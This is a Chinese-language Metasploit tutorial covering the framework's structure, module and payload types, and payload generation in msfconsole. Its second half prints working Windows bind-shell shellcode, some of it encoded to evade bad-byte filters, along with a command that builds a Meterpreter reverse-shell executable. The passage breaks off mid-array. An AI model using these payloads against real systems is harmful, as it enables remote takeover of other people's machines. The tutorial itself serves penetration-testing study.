Metasploit
一、Metasploit是什么?
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
二、Metasploit体系结构
1 Metasploit 文件系统和库
1.1了解Metasploit体系结构
通过仔细观察,可以更轻松地了解Metasploit Architecture。在学习如何使用Metasploit时,花点时间让自己熟悉它的文件系统和库。
1.2 Metasploit文件系统
该MSF文件系统是一个直观的方式布置,并通过目录组织。
- data:Metasploit使用的可编辑文件
- documentation:为框架提供文档
- external:源代码和第三方库
- lib:框架代码库
- modules:实际的MSF模块
- plugins:可以在运行时加载的插件
- scripts:Meterpreter和其他脚本
- tools:各种有用的命令行工具
1.3 Metasploit库
在“MSF库(指lib文件夹)”帮助我们,而无需编写额外的代码基本的任务,例如HTTP请求或有效载荷的编码运行我们的漏洞。
Rex
- 大多数任务的基本库
- 处理套接字,协议,文本转换和其他
- SSL,SMB,HTTP,XOR,Base64,Unicode
Msf::Core
- 提供'基本'API
- 定义Metasploit框
Msf::Base
- 提供'友好'API
- 提供在框架中使用的简化API
2 Metasploit 模块和位置
Metasploit Framework由许多的模块组成的。
2.1 Exploits(漏洞模块)
- 定义为使用“有效载荷(payloads)”的模块
- 没有“有效载荷”的攻击是辅助模块
2.2 Payloads, Encoders, Nops(有效载荷,编码器,空指令模块)
- “有效载荷”由远程运行的代码组成
- ”编码器“确保“有效载荷”到达目的地
- “Nops”保持“有效载荷”大小一致
2.3 主模块 路径
- 位于/usr/share/metasploit-framework/modules/
2.4 用户指定的模块 路径
- 位于~/.msf4/modules/
- 这个位置非常适合私人模块集
2.5 加载其它模块 路径
Metasploit为您提供了在运行时或msfconsole已启动后自由加载模块的功能。运行msfconsole以在运行时加载时传递-m选项:
msfconsole -m ~/.msf4/modules/
注意:
如果你需要运行后加载额外的模块,使用Metasploit工具 loadpath 命令:
总结:Metasploit目前总共有以下几种模块:
- Auxiliary:辅助
- Encoders:编码器
- NOP:空指令
- Exploits:漏洞利用
- Payloads:有效载荷
- Post:后期开发(大致意思是攻破主机后需要用上的模块)
3 Metasploit 对象模块
在Metasploit Framework,中,所有模块都是Ruby类。
Ruby,一种简单快捷的面向对象(面向对象程序设计)脚本语言。
- 模块从类型特定的类继承
- 特定于类型的类继承自Msf :: Module类
- 模块之间有一个共享的公共API
“Payloads(有效载荷)”略有不同。
- “Payloads(有效负载)”是在运行时从各个组件创建的
- 将各阶段的舞台粘合在一起
4 Metasploit Mixins(混合)和插件
快速转换到Ruby。
Ruby 是一种开源的面向对象程序设计的服务器端脚本语言。
- 每个班级只有一位家长
- 一个类可能包含许多模块
- 模块可以添加新的方法
- 模块可以重载旧的方法
- Metasploit模块继承Msf :: Module并包含mixins以添加特征。
Metasploit Mixins
Mixins很简单,Ruby之所以如此。
- Mixins'包括'一个类到另一个类
- 这与继承有所不同并且相似
- Mixin可以覆盖类的方法
Mixins可以添加新功能,并允许模块具有不同的“风格”。
- 协议特定(即:HTTP,SMB)
- 行为特定(即:蛮力)
- connect()由TCP mixin实现
- 然后,connect()会被FTP,SMB等过载。
Mixins可以改变行为。
- 扫描器mixin重载run()
- 扫描程序对run_host()和run_range()进行更改run()
- 它根据THREADS设置并行调用这些参数
- BruteForce mixin是相似的
5.Metasploit插件
插件直接与API协同工作。
- 他们操纵整个框架
- 插件钩入事件子系统
- 它们可以自动执行特定的任务,这些任务手动操作会很麻烦
插件只能在msfconsole中运行。
- 插件可以添加新的控制台命令
- 它们扩展了整个框架功能
5.2 Metasploit框架中的Payload(有效载荷)类型
我们简要介绍了三种主要的Payload类型:singles,stagers 和 stages。Metasploit包含许多不同类型的Payload,每个Payload都在框架内发挥独特作用。我们来简要介绍一下可用的各种Payload,并了解何时应使用每种类型的Payload。
payload三种主要类型:
- singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。
- stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。
- stages:传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
Metasploit中的Payload类型有以下几种,包括Inline、Stager、Meterpreter、PassiveX、NoNX、Ord、IPv6 和 Reflective DLL注入;下面 分别详细说明一下各类型都是做什么的?有什么区别?
Inline (非Staged)
包含所选任务的漏洞利用和完整shell代码的single payload。Inline Payloads(有效载荷)在设计上比 其它更稳定,因为它们将所有内容都包含在内。但是,一些漏洞不会支持这些payloads(有效负载)的结果大小。
Stager
Stager payloads 与stage payloads一起工作以执行特定任务。stager在攻击者和受害者之间建立一个通信通道,并读入一个stage payloads在远程主机上执行。
Meterpreter
Meterpreter是Meta-Interpreter的缩写,它是一种先进的,多方面的Payload(有效载荷),通过dll注入进行操作。Meterpreter完全驻留在远程主机的内存中,并且不会在硬盘上留下任何痕迹,因此使用传统的取证技术很难进行检测。脚本和插件可以根据需要动态加载和卸载,并且Meterpreter的开发非常强大并且不断发展。
PassiveX
PassiveX也是一个Payload(有效载荷),可以帮助规避限制性出站防火墙。它通过使用ActiveX控件来创建Internet Explorer的隐藏实例。使用新的ActiveX控件,它通过HTTP请求和响应与攻击者进行通信。
NoNX
NX(No eXecute)位是内置于某些CPU中的功能,用于防止代码在某些内存区域执行。在Windows中,NX被实现为数据执行保护(DEP)。Metasploit NoNX Payloads(有效载荷)旨在规避DEP。
Ord
Ord Payloads是基于Windows stager的有效载荷,具有明显的优点和缺点。它的优点是可以追溯到Windows 9x的每一种风格和语言,而不需要明确定义返回地址。他们也非常小。然而,两个非常具体的缺点使他们不是默认选择。首先是它依赖于ws2_32.dll在被利用之前被加载的事实。第二个是它比其他stagers不太稳定。
IPv6正如名称所示,Metasploit IPv6 Payloads(有效载荷)构建于IPv6网络上。、
Reflective DLL injection(反射性DLL注入)反射式DLL注入是一种技术,将stage payload注入到运行在内存中的受损主机进程中,从不接触主机硬盘。VNC和Meterpreter Payload(有效载荷)都使用反射式DLL注入。
5.3 Metasploit 如何生成Payloads(有效载荷)?
简单示例:
msf5 payload(windows/meterpreter/reverse_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -i 5 -f exe -p Windows -o /root/love.exe -n 18
为Metasploit 生成一个Payload(有效载荷)
在开发漏洞的过程中,您肯定需要生成shellcode以用于漏洞利用。在Metasploit中,Payloads可以从msfconsole中生成。当你“‘use’”某个Payloads时,Metasploit会添加“generate”、“pry”和 “reload” 命令。Generate将是本节学习如何使用Metasploit的主要关注点。
msf > use payload/windows/shell_bind_tcp msf payload(shell_bind_tcp) > help ...略...
Payload 命令 ================ 命 令 描 述 ------- ----------- check 检查目标是否易受攻击 generate 生成一个payload(有效载荷) pry 在当前模块上打开一个Pry会话 reload 从磁盘重新加载当前模块 to_handler 用指定的payload(有效载荷)创建一个处理程序
让我们先看看“ generate ”命令的各种选项,方法是使用' -h '开关运行它。
msf payload(bind_tcp) > generate -h
用法: generate [选项] 描述: 生成一个Payloads(有效载荷)。 选项: -E 强制编码。 -b <opt> 要避免的字符列表:'\ x00 \ xff' -e <opt> 要使用的编码器模块的名称。 -f <opt> 输出文件名(否则为stdout) -h 帮助横幅。 -i <opt> 编码迭代的数量。 -k 保持模板可执行功能 -o <opt> VAR = VAL格式的逗号分隔的选项列表。 -p <opt> 输出平台。 -s <opt> NOP底座长度。 -t <opt> 输出格式:bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war -x <opt> 要使用的可执行模板
要生成没有任何选项的shellcode,只需执行' generate '命令即可。
msf payload(bind_tcp) > generate # windows/shell/bind_tcp - 285 bytes (stage 1) # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, # PayloadUUIDTracking=false, EnableStageEncoding=false, # StageEncoderSaveRegisters=, StageEncodingFallback=true, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" + "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" + "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" + "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" + "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" + "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" + "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" + "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" + "\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" + "\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" + "\x00\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68" + "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" + "\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" + "\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" + "\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57" + "\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10" + "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53" + "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3" + "\x29\xc6\x75\xee\xc3" # windows/shell/bind_tcp - 240 bytes (stage 2) # http://www.metasploit.com buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" + "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" + "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" + "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" + "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" + "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" + "\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" + "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" + "\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" + "\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" + "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" + "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" + "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" + "\xff\xd5"
当然,没有任何'tweeking'这样的生成shellcode的几率是相当低的。通常会根据目标机器使用错误的字符和特定类型的编码器。
为了做到这一点,我们发出' generate '命令,后面跟着' -b ' 选项,并附带我们希望在生成过程中不允许的字节。
msf payload(bind_tcp) > generate -b '\x00' # windows/shell/bind_tcp - 312 bytes (stage 1) # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, # PayloadUUIDTracking=false, EnableStageEncoding=false, # StageEncoderSaveRegisters=, StageEncodingFallback=true, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xd9\xce\xb8\xe7\x47\x70\xc8\xd9\x74\x24\xf4\x5f\x29\xc9" + "\xb1\x48\x31\x47\x18\x03\x47\x18\x83\xef\x1b\xa5\x85\x34" + "\x0b\xa8\x66\xc5\xcb\xcd\xef\x20\xfa\xcd\x94\x21\xac\xfd" + "\xdf\x64\x40\x75\x8d\x9c\xd3\xfb\x1a\x92\x54\xb1\x7c\x9d" + "\x65\xea\xbd\xbc\xe5\xf1\x91\x1e\xd4\x39\xe4\x5f\x11\x27" + "\x05\x0d\xca\x23\xb8\xa2\x7f\x79\x01\x48\x33\x6f\x01\xad" + "\x83\x8e\x20\x60\x98\xc8\xe2\x82\x4d\x61\xab\x9c\x92\x4c" + "\x65\x16\x60\x3a\x74\xfe\xb9\xc3\xdb\x3f\x76\x36\x25\x07" + "\xb0\xa9\x50\x71\xc3\x54\x63\x46\xbe\x82\xe6\x5d\x18\x40" + "\x50\xba\x99\x85\x07\x49\x95\x62\x43\x15\xb9\x75\x80\x2d" + "\xc5\xfe\x27\xe2\x4c\x44\x0c\x26\x15\x1e\x2d\x7f\xf3\xf1" + "\x52\x9f\x5c\xad\xf6\xeb\x70\xba\x8a\xb1\x1c\x0f\xa7\x49" + "\xdc\x07\xb0\x3a\xee\x88\x6a\xd5\x42\x40\xb5\x22\xa5\x7b" + "\x01\xbc\x58\x84\x72\x94\x9e\xd0\x22\x8e\x37\x59\xa9\x4e" + "\xb8\x8c\x44\x44\x1f\x7f\x7b\xa7\xf5\x7e\x11\x5a\x61\x6b" + "\xea\x85\x91\x94\x20\xae\x39\x69\xcb\xc0\xe5\xe4\x2d\x88" + "\x05\xa1\xe6\x25\xe7\x96\x3e\xd1\x18\xfd\x16\x75\x51\x17" + "\xa0\x7a\x62\x3d\x86\xec\xe8\x52\x12\x0c\xef\x7e\x32\x59" + "\x67\xf4\xd3\x28\x16\x09\xfe\xd9\xd8\x9f\x05\x48\x8f\x37" + "\x04\xad\xe7\x97\xf7\x98\x7c\x11\x62\x63\xea\x5e\x62\x63" + "\xea\x08\xe8\x63\x82\xec\x48\x30\xb7\xf2\x44\x24\x64\x67" + "\x67\x1d\xd9\x20\x0f\xa3\x04\x06\x90\x5c\x63\x96\xec\x8a" + "\x4d\xec\x1c\x0f" # windows/shell/bind_tcp - 240 bytes (stage 2) # http://www.metasploit.com buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" + "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" + "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" + "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" + "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" + "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" + "\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" + "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" + "\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" + "\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" + "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" + "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" + "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" + "\xff\xd5"
看看这个shellcode很容易看到,与先前生成的绑定shell相比,空字节已成功删除。从而给我们一个空字节的空闲有效载荷。由于我们在生成过程中执行了更改,我们也看到其他重大差异。
还有一个区别是shellcode的总字节大小。在我们最初生成的shellcode中,大小为285字节,这个新的shellcode却是312个字节。比最初的大27字节;
msf payload(shell_bind_tcp) > generate # windows/shell_bind_tcp - 285 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, ...略... msf payload(shell_bind_tcp) > generate -b '\x00' # windows/shell_bind_tcp - 312 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai ...略...
在生成过程中,空字节的原始意图或代码中的有用性需要替换(或编码),以便在内存中确保我们的绑定外壳(shell )保持正常运行。
shell 另一个重要的变化是增加了编码器的使用。默认情况下,Metasploit将选择最好的“encoder(编码器)”来完成手头的任务。encoder(编码器)负责删除使用'-b'开关时输入的不想要的字符(等等)。我们稍后会更详细地讨论encoder(编码器)。
当指定不好的字符时,框架将使用最好的encoder(编码器)来完成这项工作。当代码生成过程中只有空字节被限制时才使用'x86 / shikata_ga_nai' 编码器。如果我们添加更多的坏字符,则可能会使用不同的encoder(编码器)来完成相同的任务。让我们再添加几个字节到列表中,看看会发生什么。
sf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b' # windows/shell_bind_tcp - 350 bytes # http://www.metasploit.com # Encoder: x86/fnstenv_mov # VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd9" + "\xcc\xb8\xa5\x83\xeb\xfc\xe2\xf4\x25\x24\x3a\xa5\xd9\xcc" + "\xd8\x2c\x3c\xfd\x78\xc1\x52\x9c\x88\x2e\x8b\xc0\x33\xf7" + "\xcd\x47\xca\x8d\xd6\x7b\xf2\x83\xe8\x33\x14\x99\xb8\xb0" + "\xba\x89\xf9\x0d\x77\xa8\xd8\x0b\x5a\x57\x8b\x9b\x33\xf7" + "\xc9\x47\xf2\x99\x52\x80\xa9\xdd\x3a\x84\xb9\x74\x88\x47" + "\xe1\x85\xd8\x1f\x33\xec\xc1\x2f\x82\xec\x52\xf8\x33\xa4" + "\x0f\xfd\x47\x09\x18\x03\xb5\xa4\x1e\xf4\x58\xd0\x2f\xcf" + "\xc5\x5d\xe2\xb1\x9c\xd0\x3d\x94\x33\xfd\xfd\xcd\x6b\xc3" + "\x52\xc0\xf3\x2e\x81\xd0\xb9\x76\x52\xc8\x33\xa4\x09\x45" + "\xfc\x81\xfd\x97\xe3\xc4\x80\x96\xe9\x5a\x39\x93\xe7\xff" + "\x52\xde\x53\x28\x84\xa4\x8b\x97\xd9\xcc\xd0\xd2\xaa\xfe" + "\xe7\xf1\xb1\x80\xcf\x83\xde\x33\x6d\x1d\x49\xcd\xb8\xa5" + "\xf0\x08\xec\xf5\xb1\xe5\x38\xce\xd9\x33\x6d\xcf\xd1\x95" + "\xe8\x47\x24\x8c\xe8\xe5\x89\xa4\x52\xaa\x06\x2c\x47\x70" + "\x4e\xa4\xba\xa5\xc8\x90\x31\x43\xb3\xdc\xee\xf2\xb1\x0e" + "\x63\x92\xbe\x33\x6d\xf2\xb1\x7b\x51\x9d\x26\x33\x6d\xf2" + "\xb1\xb8\x54\x9e\x38\x33\x6d\xf2\x4e\xa4\xcd\xcb\x94\xad" + "\x47\x70\xb1\xaf\xd5\xc1\xd9\x45\x5b\xf2\x8e\x9b\x89\x53" + "\xb3\xde\xe1\xf3\x3b\x31\xde\x62\x9d\xe8\x84\xa4\xd8\x41" + "\xfc\x81\xc9\x0a\xb8\xe1\x8d\x9c\xee\xf3\x8f\x8a\xee\xeb" + "\x8f\x9a\xeb\xf3\xb1\xb5\x74\x9a\x5f\x33\x6d\x2c\x39\x82" + "\xee\xe3\x26\xfc\xd0\xad\x5e\xd1\xd8\x5a\x0c\x77\x48\x10" + "\x7b\x9a\xd0\x03\x4c\x71\x25\x5a\x0c\xf0\xbe\xd9\xd3\x4c" + "\x43\x45\xac\xc9\x03\xe2\xca\xbe\xd7\xcf\xd9\x9f\x47\x70"
我们看到使用了不同的encoder(编码器)来成功删除我们不需要的字节。Shikata_ga_nai可能无法使用我们的限制字节列表对我们的Payload(有效载荷)进行编码。另一方面Fnstenv_mov能够做到这一点。
Payload(有效载荷)生成失败
具有不使用某些字符而生成shellcode的能力是该框架提供的重要功能之一。这并不意味着它是无限的。
如果给出的限制字节太多,则没有encoder(编码器)可用于该任务。此时Metasploit将显示以下消息。
msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer successfully.
这就像删除字母表中的字母,并要求某人写出完整的句子。有时它不能完成。
使用哪种encoder(编码器)生成Payload(有效载荷)最佳
如前所述,当生成我们的有效载荷时,框架将选择可能的最佳编码器。不过有时候需要使用特定的类型,无论Metasploit认为什么。设想一个只能成功执行的漏洞攻击,只要它包含非字母数字字符。'shikata_ga_nai'编码器在这种情况下并不合适,因为它使用几乎所有可用于编码的字符。
查看编码器列表,我们看到'x86 / nonalpha'编码器存在。
sf payload(shell_bind_tcp) > show encoders Encoders ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- ...snip... x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
让我们重做我们的绑定shell有效载荷,但是这次我们会告诉框架使用' nonalpha '编码器。我们通过使用' -e '开关,然后使用上面显示的编码器名称来完成此操作。
msf payload(shell_bind_tcp) > generate -e x86/nonalpha # windows/shell_bind_tcp - 470 bytes # http://www.metasploit.com # Encoder: x86/nonalpha # VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6a\x8b\xd7" + "\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" + "\xf1\xeb\x6f\xe8\xe2\xff\xff\xff\x17\x2b\x29\x29\x09\x31" + "\x1a\x29\x24\x29\x31\x2f\x03\x33\x2a\x22\x32\x32\x06\x06" + "\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x21\x13\x13\x04" + "\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x11\x22\x2b\x2b\x2b" + "\x13\x13\x11\x25\x24\x13\x14\x24\x13\x24\x13\x07\x24\x13" + "\x06\x0d\x2e\x1a\x13\x18\x0e\x17\x24\x24\x24\x11\x22\x25" + "\x15\x37\x37\x37\x27\x2b\x25\x25\x25\x35\x25\x2d\x25\x25" + "\x28\x25\x13\x02\x2d\x25\x35\x13\x25\x13\x06\x34\x09\x0c" + "\x11\x28\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x7b" + "\x8b\x7b\x30\x8b\x7b\x0c\x8b\x7b\x14\x8b\x7b\x28\x0f\xb7" + "\x7b\x26\x31\xff\xac\x3c\x7b\x7c\x02\x2c\x20\xc1\xcf\x0d" + "\x01\xc7\xe2\xf2\x7b\x7b\x8b\x7b\x10\x8b\x7b\x3c\x8b\x7b" + "\x11\x7b\xe3\x7b\x01\xd1\x7b\x8b\x7b\x20\x01\xd3\x8b\x7b" + "\x18\xe3\x3a\x7b\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf" + "\x0d\x01\xc7\x38\xe0\x7b\xf6\x03\x7d\xf8\x3b\x7d\x24\x7b" + "\xe4\x7b\x8b\x7b\x24\x01\xd3\x7b\x8b\x0c\x7b\x8b\x7b\x1c" + "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x7b\x24\x24\x5b\x5b\x7b" + "\x7b\x7b\x7b\xff\xe0\x5f\x5f\x7b\x8b\x12\xeb\x8d\x5d\x7b" + "\x33\x32\x00\x00\x7b\x7b\x7b\x32\x5f\x7b\x7b\x7b\x7b\x26" + "\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x7b\x7b\x7b\x29" + "\x80\x7b\x00\xff\xd5\x7b\x08\x7b\x7b\xe2\xfd\x40\x7b\x40" + "\x7b\x7b\xea\x0f\xdf\xe0\xff\xd5\x97\x7b\x02\x00\x11\x5c" + "\x89\xe6\x7b\x10\x7b\x7b\x7b\xc2\xdb\x37\x7b\xff\xd5\x7b" + "\x7b\xb7\xe9\x38\xff\xff\xd5\x7b\x7b\x7b\xec\x3b\xe1\xff" + "\xd5\x7b\x97\x7b\x7b\x7b\x7b\x7b\xff\xd5\x7b\x7b\x7b\x7b" + "\x00\x89\xe3\x7b\x7b\x7b\x31\xf6\x7b\x12\x7b\x7b\xe2\xfd" + "\x7b\xc7\x7b\x24\x3c\x01\x01\x8d\x7b\x24\x10\xc6\x00\x7b" + "\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b" + "\xcc\x3f\x86\xff\xd5\x89\xe0\x7b\x7b\x7b\xff\x30\x7b\x08" + "\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x7b\x7b\xa6\x95\xbd" + "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x7b\x05\xbb\x7b" + "\x13\x7b\x7b\x7b\x00\x7b\xff\xd5"
如果一切按计划进行,我们的有效载荷将不包含任何字母数字字符。但是,在使用除默认值以外的其他编码器时,我们必须小心。因为它倾向于给我们一个更大的有效载荷。例如,这个比我们以前的例子大得多。
我们在列表中的下一个选项是' -f '开关。这使我们能够将生成的Payload(有效载荷)保存到文件中,而不是将其显示在屏幕上。一如既往,它遵循带有文件路径的' generate '命令。
msf payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /home/filename.txt [*] Writing 1784 bytes to /home/filename.txt... msf payload(shell_bind_tcp) > cat /home/filename.txt [*] exec: cat /home/filename.txt # windows/shell_bind_tcp - 355 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xba\x65\x2f\x66\x55\xd9\xe1\xd9\x74\x24\xf4\x58\x2b\xc9" + "\xb1\x53\x31\x50\x12\x03\x50\x12\x83\x8d\xd3\x84\xa0\xb1" + "\xc4\xcb\x4b\x49\x15\xac\xc2\xac\x24\xec\xb1\xa5\x17\xdc" + "\xb2\xeb\x9b\x97\x97\x1f\x2f\xd5\x3f\x10\x98\x50\x66\x1f" + "\x19\xc8\x5a\x3e\x99\x13\x8f\xe0\xa0\xdb\xc2\xe1\xe5\x06" + "\x2e\xb3\xbe\x4d\x9d\x23\xca\x18\x1e\xc8\x80\x8d\x26\x2d" + "\x50\xaf\x07\xe0\xea\xf6\x87\x03\x3e\x83\x81\x1b\x23\xae" + "\x58\x90\x97\x44\x5b\x70\xe6\xa5\xf0\xbd\xc6\x57\x08\xfa" + "\xe1\x87\x7f\xf2\x11\x35\x78\xc1\x68\xe1\x0d\xd1\xcb\x62" + 